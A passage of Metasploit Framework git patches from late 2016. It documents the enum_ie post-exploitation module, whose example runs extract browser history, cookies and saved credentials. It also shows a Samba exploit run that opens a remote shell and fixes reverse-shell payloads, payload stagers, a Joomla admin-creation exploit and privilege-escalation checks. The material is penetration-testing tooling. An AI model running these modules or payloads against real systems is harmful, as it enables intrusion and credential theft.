Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000 + + uname -a + Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown + From a487d9e92a71f35c636f7447eba7350ca9e2f8df Mon Sep 17 00:00:00 2001 From: Daniel Werner Date: Mon, 31 Oct 2016 16:19:06 +0100 Subject: [PATCH 064/157] Add KB for post/windows/gather/enum_ie. --- .../modules/post/windows/gather/enum_ie.md | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 documentation/modules/post/windows/gather/enum_ie.md diff --git a/documentation/modules/post/windows/gather/enum_ie.md b/documentation/modules/post/windows/gather/enum_ie.md new file mode 100644 index 0000000000..58b2da6abf --- /dev/null +++ b/documentation/modules/post/windows/gather/enum_ie.md @@ -0,0 +1,67 @@ +## Vulnerable Application + + This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well. + +## Verification Steps + + 1. Start `msfconsole` + 2. Get meterpreter session + 3. Do: `use post/windows/gather/enum_ie` + 4. Do: `set SESSION ` + 5. Do: `run` + 6. You should be able to see the extracted IE browser data in the loot files + +## Options + + - **SESSION** - The session to run the module on. + +## Extracted data + + - History + - Cookies + - Autocomplete data + - Credentials **(only for >= IE7)** + - HTTP auth credentials + - Saved form credentials + +## Example Scenario + + **Using an existing meterpreter session** + + ``` + msf exploit(handler) > use post/windows/gather/enum_ie + msf post(enum_ie) > set SESSION 1 + SESSION => 1 + msf post(enum_ie) > run + + [*] IE Version: 6.0.2900.5512 + [-] This module will only extract credentials for >= IE7 + [*] Retrieving history..... + File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat + [*] Retrieving cookies..... + File: C:\Documents and Settings\user\Cookies\index.dat + [*] Looping through history to find autocomplete data.... + [-] No autocomplete entries found in registry + [*] Looking in the Credential Store for HTTP Authentication Creds... + [*] Writing history to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt + [*] Writing cookies to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt + [*] Post module execution completed + ``` + + The extracted history data would then for example look like this: + + ``` + History data + ============ + + Date Modified Date Accessed Url + ------------- ------------- --- + 2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home + 2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407 + 2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt + 2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome + 2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt + 2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt + ``` From 5c065459ae5b93b2b4436e5b85444c86fe3352ad Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 31 Oct 2016 11:29:00 -0500 Subject: [PATCH 065/157] print_{good,error} more specifically in open_x11 --- modules/auxiliary/scanner/x11/open_x11.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index 1ca3590286..a13811d28b 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary if(success == 1) vendor_len = response[24,2].unpack('v')[0] vendor = response[40,vendor_len].unpack('A*')[0] - print_status("#{ip} Open X Server (#{vendor})") + print_good("#{ip} Open X Server (#{vendor})") # Add Report report_note( :host => ip, @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary :data => "Open X Server (#{vendor})" ) elsif (success == 0) - print_status("#{ip} Access Denied") + print_error("#{ip} Access Denied") else # X can return a reason for auth failure but we don't really care for this end From ac0984e8dd20eb0caac252d30b1e1869565fcdc5 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 31 Oct 2016 13:42:15 -0500 Subject: [PATCH 066/157] this fixes an issue with nexposeapi errors on newer versions of the nexpose api the error XML schema has been changed, this prevents the exception from being generated correctly MS-289 --- lib/rapid7/nexpose.rb | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb index 710e364332..2939ab8c24 100644 --- a/lib/rapid7/nexpose.rb +++ b/lib/rapid7/nexpose.rb @@ -182,6 +182,25 @@ class APIRequest end end + @res.elements.each('//Failure') do |s| + + # 1.1 returns lower case elements + s.elements.each('message') do |m| + @error = m.text + end + s.elements.each('stacktrace') do |m| + @trace = m.text + end + + # 1.2 returns capitalized elements + s.elements.each('Message') do |m| + @error = m.text + end + s.elements.each('Stacktrace') do |m| + @trace = m.text + end + end + # This is a hack to handle corner cases where a heavily loaded Nexpose instance # drops our HTTP connection before processing. We try 5 times to establish a # connection in these situations. The actual exception occurs in the Ruby From 4285e4ce153077264a14e62dbed968775fce8e73 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 31 Oct 2016 13:54:05 -0500 Subject: [PATCH 067/157] fix nexpose plugin to handle exception on scan launching a nexpose scan from the plugin no longer results in a stack trace, it instead displays the nexpose error MS-289 --- plugins/nexpose.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 56b0bd1830..00c1173bc1 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -520,7 +520,14 @@ class Plugin::Nexpose < Msf::Plugin print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose # Run the scan - res = site.scanSite() + begin + res = site.scanSite() + rescue Nexpose::APIError => e + nexpose_error_message = e.message + nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '') + print_error "#{nexpose_error_message}" + return + end sid = res[:scan_id] print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose From 1760cc9877c03a1d6c03c550ea1f0e8e1e584236 Mon Sep 17 00:00:00 2001 From: Daniel Werner Date: Mon, 31 Oct 2016 20:30:22 +0100 Subject: [PATCH 068/157] Add an IE7+ run to the post/windows/gather/enum_ie KB. --- .../modules/post/windows/gather/enum_ie.md | 43 ++++++++++++++++++- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/documentation/modules/post/windows/gather/enum_ie.md b/documentation/modules/post/windows/gather/enum_ie.md index 58b2da6abf..16d0aa1af2 100644 --- a/documentation/modules/post/windows/gather/enum_ie.md +++ b/documentation/modules/post/windows/gather/enum_ie.md @@ -26,7 +26,9 @@ ## Example Scenario - **Using an existing meterpreter session** + **Using the module with an earlier version than IE7 (IE6)** + + In this scenario the module won't be able to extract credential data. ``` msf exploit(handler) > use post/windows/gather/enum_ie @@ -50,7 +52,44 @@ [*] Post module execution completed ``` - The extracted history data would then for example look like this: + **Using the module with IE7+ (IE8)** + + In this scenario the module will try to extract credential data, display it in the console and save it in a loot file. + + ``` + msf exploit(handler) > use post/windows/gather/enum_ie + msf post(enum_ie) > set SESSION 1 + SESSION => 1 + msf post(enum_ie) > run + + [*] IE Version: 8.0.7601.17514 + [*] Retrieving history..... + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat + [*] Retrieving cookies..... + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat + [*] Looping through history to find autocomplete data.... + [*] Looking in the Credential Store for HTTP Authentication Creds... + [*] Writing history to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt + [*] Writing cookies to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt + [*] Writing gathered credentials to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt + + Credential data + =============== + + Type Url User Pass + ---- --- ---- ---- + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd + + [*] Post module execution completed + ``` + + The extracted history data would in both scenarios for example look like this: ``` History data From f08a7ac10b2a619b1191d60a8c1a9b8b9d2bd128 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 1 Nov 2016 05:42:05 -0500 Subject: [PATCH 069/157] modernize default smtp_deliver TLS options --- lib/msf/core/exploit/smtp_deliver.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index ba24485608..b3f37e2c08 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -228,12 +228,9 @@ protected end def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new - ctx.key = OpenSSL::PKey::RSA.new(1024){ } - - ctx.session_id_context = Rex::Text.rand_text(16) - - return ctx + ctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM" + ctx end end From f8912486df3c2eca5faeeabd8808c2f30f6939a3 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 1 Nov 2016 05:43:03 -0500 Subject: [PATCH 070/157] fix typos --- modules/exploits/linux/misc/nagios_nrpe_arguments.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index 3ac5320c90..f8c7290538 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote end - # NRPE uses unauthenticated Annonymous-Diffie-Hellman + # NRPE uses unauthenticated Anonymous-Diffie-Hellman # setting the global SSL => true will break as we would be overlaying # an SSLSocket on another SSLSocket which hasnt completed its handshake @@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote self.sock = super(global, opts) if datastore['NRPESSL'] or @force_ssl - ctx = OpenSSL::SSL::SSLContext.new("TLSv1") + ctx = OpenSSL::SSL::SSLContext.new(:TLSv1) ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.ciphers = "ADH" From 6577728fa93893569ac9b6ddf93cb49d69eb6340 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 1 Nov 2016 05:45:27 -0500 Subject: [PATCH 071/157] enable auto-negotiation for TLS version with SQL Server --- lib/metasploit/framework/mssql/tdssslproxy.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/mssql/tdssslproxy.rb b/lib/metasploit/framework/mssql/tdssslproxy.rb index e48499d346..1e020c31bb 100644 --- a/lib/metasploit/framework/mssql/tdssslproxy.rb +++ b/lib/metasploit/framework/mssql/tdssslproxy.rb @@ -51,8 +51,9 @@ class TDSSSLProxy def setup_ssl @running = true @t1 = Thread.start { ssl_setup_thread } - ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1) - @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context) + ctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM" + @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx) @ssl_socket.connect end From 1b4cef10d1b9e872112e17c280c9e52c7baba0cd Mon Sep 17 00:00:00 2001 From: attackdebris Date: Tue, 1 Nov 2016 17:59:51 +0000 Subject: [PATCH 072/157] Change creds_name to Kerberos --- modules/auxiliary/gather/kerberos_enumusers.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb index d8fa682667..0c03892dcf 100644 --- a/modules/auxiliary/gather/kerberos_enumusers.rb +++ b/modules/auxiliary/gather/kerberos_enumusers.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Auxiliary report_cred( host: datastore['RHOST'], port: rport, - creds_name: 'Active Directory', + creds_name: 'Kerberos', user: user ) elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"] From e4b4264d790be70d2c790a7a9aa0e6f32f453d44 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 2 Nov 2016 05:19:52 +1000 Subject: [PATCH 073/157] Fix psh template to avoid 100% cpu spike on CTRL+C Fixes #7293 --- modules/payloads/singles/cmd/windows/reverse_powershell.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index eb6bd4c53b..c5dda28ce5 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -81,7 +81,8 @@ module MetasploitModule "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\ "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\ "$pos+=$r;"\ - "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\ + "if (-not $pos -or $pos -eq 0) {RSC};"\ + "if ($nb[0..$($pos-1)] -contains 10) {break}};"\ "if ($pos -gt 0){"\ "$str=$e.GetString($nb,0,$pos);"\ "$is.write($str);start-sleep 1;"\ From 451686309b10eaf510d3e66bf3cf432a37f77816 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 1 Nov 2016 14:32:40 -0500 Subject: [PATCH 074/157] fixes #7519 psh payload generation a few files references to the templates for pwoershell were missed when transfering the templates over to the rex-powershell gem --- lib/msf/util/exe.rb | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e9a10e80ab..1d78a370fd 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1346,17 +1346,11 @@ require 'msf/core/exe/segment_appender' end def self.to_win32pe_psh_net(framework, code, opts={}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code) end def self.to_win32pe_psh(framework, code, opts = {}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code) end # @@ -1365,10 +1359,7 @@ require 'msf/core/exe/segment_appender' # Originally from PowerSploit # def self.to_win32pe_psh_reflection(framework, code, opts = {}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code) end def self.to_powershell_command(framework, arch, code) From a79f860cb7a608cff607e49b5f96462047715709 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Tue, 1 Nov 2016 16:57:46 -0500 Subject: [PATCH 075/157] Add UUIDs to mettle stages --- modules/payloads/stages/linux/armle/mettle.rb | 6 ++++-- modules/payloads/stages/linux/mipsbe/mettle.rb | 6 ++++-- modules/payloads/stages/linux/mipsle/mettle.rb | 6 ++++-- modules/payloads/stages/linux/x64/mettle.rb | 6 ++++-- modules/payloads/stages/linux/x86/mettle.rb | 6 ++++-- 5 files changed, 20 insertions(+), 10 deletions(-) diff --git a/modules/payloads/stages/linux/armle/mettle.rb b/modules/payloads/stages/linux/armle/mettle.rb index 89792efc77..99d79d3db3 100644 --- a/modules/payloads/stages/linux/armle/mettle.rb +++ b/modules/payloads/stages/linux/armle/mettle.rb @@ -79,7 +79,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('armv5l-linux-musleabi', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)). + to_bininary :process_image end end diff --git a/modules/payloads/stages/linux/mipsbe/mettle.rb b/modules/payloads/stages/linux/mipsbe/mettle.rb index a8e44b2ec3..746c6ad28f 100644 --- a/modules/payloads/stages/linux/mipsbe/mettle.rb +++ b/modules/payloads/stages/linux/mipsbe/mettle.rb @@ -90,7 +90,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('mips-linux-muslsf', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('mips-linux-muslsf', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end diff --git a/modules/payloads/stages/linux/mipsle/mettle.rb b/modules/payloads/stages/linux/mipsle/mettle.rb index d49c92016e..1f0b1789d9 100644 --- a/modules/payloads/stages/linux/mipsle/mettle.rb +++ b/modules/payloads/stages/linux/mipsle/mettle.rb @@ -90,7 +90,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('mipsel-linux-muslsf', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end diff --git a/modules/payloads/stages/linux/x64/mettle.rb b/modules/payloads/stages/linux/x64/mettle.rb index 5c09b4d14b..215425660a 100644 --- a/modules/payloads/stages/linux/x64/mettle.rb +++ b/modules/payloads/stages/linux/x64/mettle.rb @@ -87,7 +87,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('x86_64-linux-musl', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('x86_64-linux-musl', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end diff --git a/modules/payloads/stages/linux/x86/mettle.rb b/modules/payloads/stages/linux/x86/mettle.rb index 2b70f7892c..fa765093ce 100644 --- a/modules/payloads/stages/linux/x86/mettle.rb +++ b/modules/payloads/stages/linux/x86/mettle.rb @@ -90,7 +90,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('i486-linux-musl', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('i486-linux-musl', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end From f414db5d6d1a9c22d493e127f312162c347ed578 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 1 Nov 2016 22:42:06 -0500 Subject: [PATCH 076/157] Clean up module --- .../admin/http/joomla_registration_privesc.rb | 34 ++++++++----------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb index 831268b3c8..9ceb7083a0 100644 --- a/modules/auxiliary/admin/http/joomla_registration_privesc.rb +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Joomla Account Creation and Privilege Escalation', 'Description' => %q{ - This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4 + This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4 through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default). }, 'References' => @@ -37,14 +37,13 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']), OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']), OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']), - OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']), - OptString.new('FORCE', [true, 'Force bypass checks', 'false']) + OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']) ] ) end def check - res = send_request_cgi({'uri' => target_uri.path }) + res = send_request_cgi('uri' => target_uri.path) unless res print_error("Connection timed out") @@ -58,9 +57,9 @@ class MetasploitModule < Msf::Auxiliary end version = Gem::Version.new(joomla_version) - unless version.nil? + if version print_status("Detected Joomla version #{joomla_version}") - return Exploit::CheckCode::Appears if version >= Gem::Version.new('3.4.4') && version <= Gem::Version.new('3.6.3') + return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3')) end return Exploit::CheckCode::Detected if online @@ -78,11 +77,9 @@ class MetasploitModule < Msf::Auxiliary end def run - if datastore['FORCE'] == 'false' - if check == Exploit::CheckCode::Safe - print_error('Target seems safe, so we will not continue!') - return - end + if check == Exploit::CheckCode::Safe + print_error('Target seems safe, so we will not continue!') + return end print_status("Trying to create the user!") @@ -130,14 +127,13 @@ class MetasploitModule < Msf::Auxiliary print_good("PWND - Your user has been created") print_status("\tUsername: " + datastore['USERNAME']) print_status("\tPassword: " + datastore['PASSWORD']) - elsif res && res.code == 303 - while res && res.code == 303 do - res = send_request_cgi( - 'uri' => res.redirection.to_s, - 'method' => 'GET', - 'cookie' => cookie - ) - end + print_status("\tEmail: " + datastore['EMAIL']) + elsif res.redirect? + res = send_request_cgi!( + 'uri' => res.redirection.path, + 'method' => 'GET', + 'cookie' => cookie + ) print_error("There was an issue, but the user could have been created.") From 7895ba810d9a95d385fa0e0cb163ae67e680e3e2 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 3 Nov 2016 02:50:13 +1000 Subject: [PATCH 077/157] Update payload cached size for the powershell payload --- modules/payloads/singles/cmd/windows/reverse_powershell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index c5dda28ce5..b871e28be5 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 1204 + CachedSize = 1228 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions From 47ac122c1508d57929343a201d61b964569cc913 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 3 Nov 2016 14:51:07 +1000 Subject: [PATCH 078/157] Add LURI support to the reverse_http/s stagers --- lib/msf/core/payload/windows/reverse_winhttp.rb | 6 +++--- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 0a358aae64..9075144fa0 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp # Add extra options if we have enough space if self.available_space && required_space <= self.available_space - conf[:uri] = generate_uri + conf[:uri] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -49,7 +49,7 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_ie] = datastore['PayloadProxyIE'] else # Otherwise default to small URIs - conf[:uri] = generate_small_uri + conf[:uri] = luri + generate_small_uri end generate_reverse_winhttp(conf) @@ -139,7 +139,7 @@ module Payload::Windows::ReverseWinHttp full_url << opts[:uri] encoded_full_url = asm_generate_wchar_array(full_url) - encoded_uri_index = full_url.rindex('/') * 2 + encoded_uri_index = (full_url.length - opts[:uri].length) * 2 if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 1ce0fad154..add108d61f 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -38,7 +38,7 @@ module Payload::Windows::ReverseWinHttp_x64 # Add extra options if we have enough space if self.available_space && required_space <= self.available_space - conf[:uri] = generate_uri + conf[:uri] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -50,7 +50,7 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_ie] = datastore['PayloadProxyIE'] else # Otherwise default to small URIs - conf[:uri] = generate_small_uri + conf[:uri] = luri + generate_small_uri end generate_reverse_winhttp(conf) @@ -141,7 +141,7 @@ module Payload::Windows::ReverseWinHttp_x64 full_url << opts[:uri] encoded_full_url = asm_generate_wchar_array(full_url) - encoded_uri_index = full_url.rindex('/') * 2 + encoded_uri_index = (full_url.length - opts[:uri].length) * 2 if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true From 2cdff0f4144470a829016908474acebfcc59bf1a Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 2 Nov 2016 12:09:41 -0500 Subject: [PATCH 079/157] Fix check method --- modules/exploits/linux/local/pkexec.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index 6c9f71bb76..86cbff20dd 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -67,17 +67,21 @@ class MetasploitModule < Msf::Exploit::Local end def check - version = cmd_exec('pkexec --version') - if version.nil? - print_error "Policykit is not installed" - return CheckCode::Safe + # version can be nil + version = cmd_exec('pkexec --version').split.last + + # version can be a string, so we check it + if version.nil? || !Gem::Version.correct?(version) + vprint_error('pkexec not found or version incorrect') + return CheckCode::Unknown end - if Gem::Version.new(version.split('.')[1]) <= 0.101 + if Gem::Version.new(version) <= Gem::Version.new('0.101') + vprint_good("pkexec #{version} found") return CheckCode::Appears end - CheckCode::Unknown + CheckCode::Safe end def exploit From 1c746c0f931c044753df7878a2cce82b460c9ba5 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 2 Nov 2016 12:41:45 -0500 Subject: [PATCH 080/157] Prefer CheckCode::Detected --- modules/exploits/linux/local/pkexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index 86cbff20dd..59881129d0 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Local return CheckCode::Appears end - CheckCode::Safe + CheckCode::Detected end def exploit From 2f8d3c3cf39b5cfd11d014151b5de77431927cdd Mon Sep 17 00:00:00 2001 From: Jin Qian Date: Thu, 3 Nov 2016 15:23:19 -0500 Subject: [PATCH 081/157] Remove the bug where downcase() is invoked on password which is optional and can be empty. --- modules/exploits/multi/http/tomcat_mgr_deploy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 8bcde06e80..1670bde4ce 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -312,7 +312,7 @@ class MetasploitModule < Msf::Exploit::Remote origin_type: :service, module_fullname: self.fullname, private_type: :password, - private_data: datastore['PASSWORD'].downcase, + private_data: datastore['PASSWORD'], username: datastore['USERNAME'] } From e5ea4a53d3061538170eb3264718d1bc8c1ff4ce Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 4 Nov 2016 13:26:10 +1000 Subject: [PATCH 082/157] Fix typo in windows cred phish module --- modules/post/windows/gather/phish_windows_credentials.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 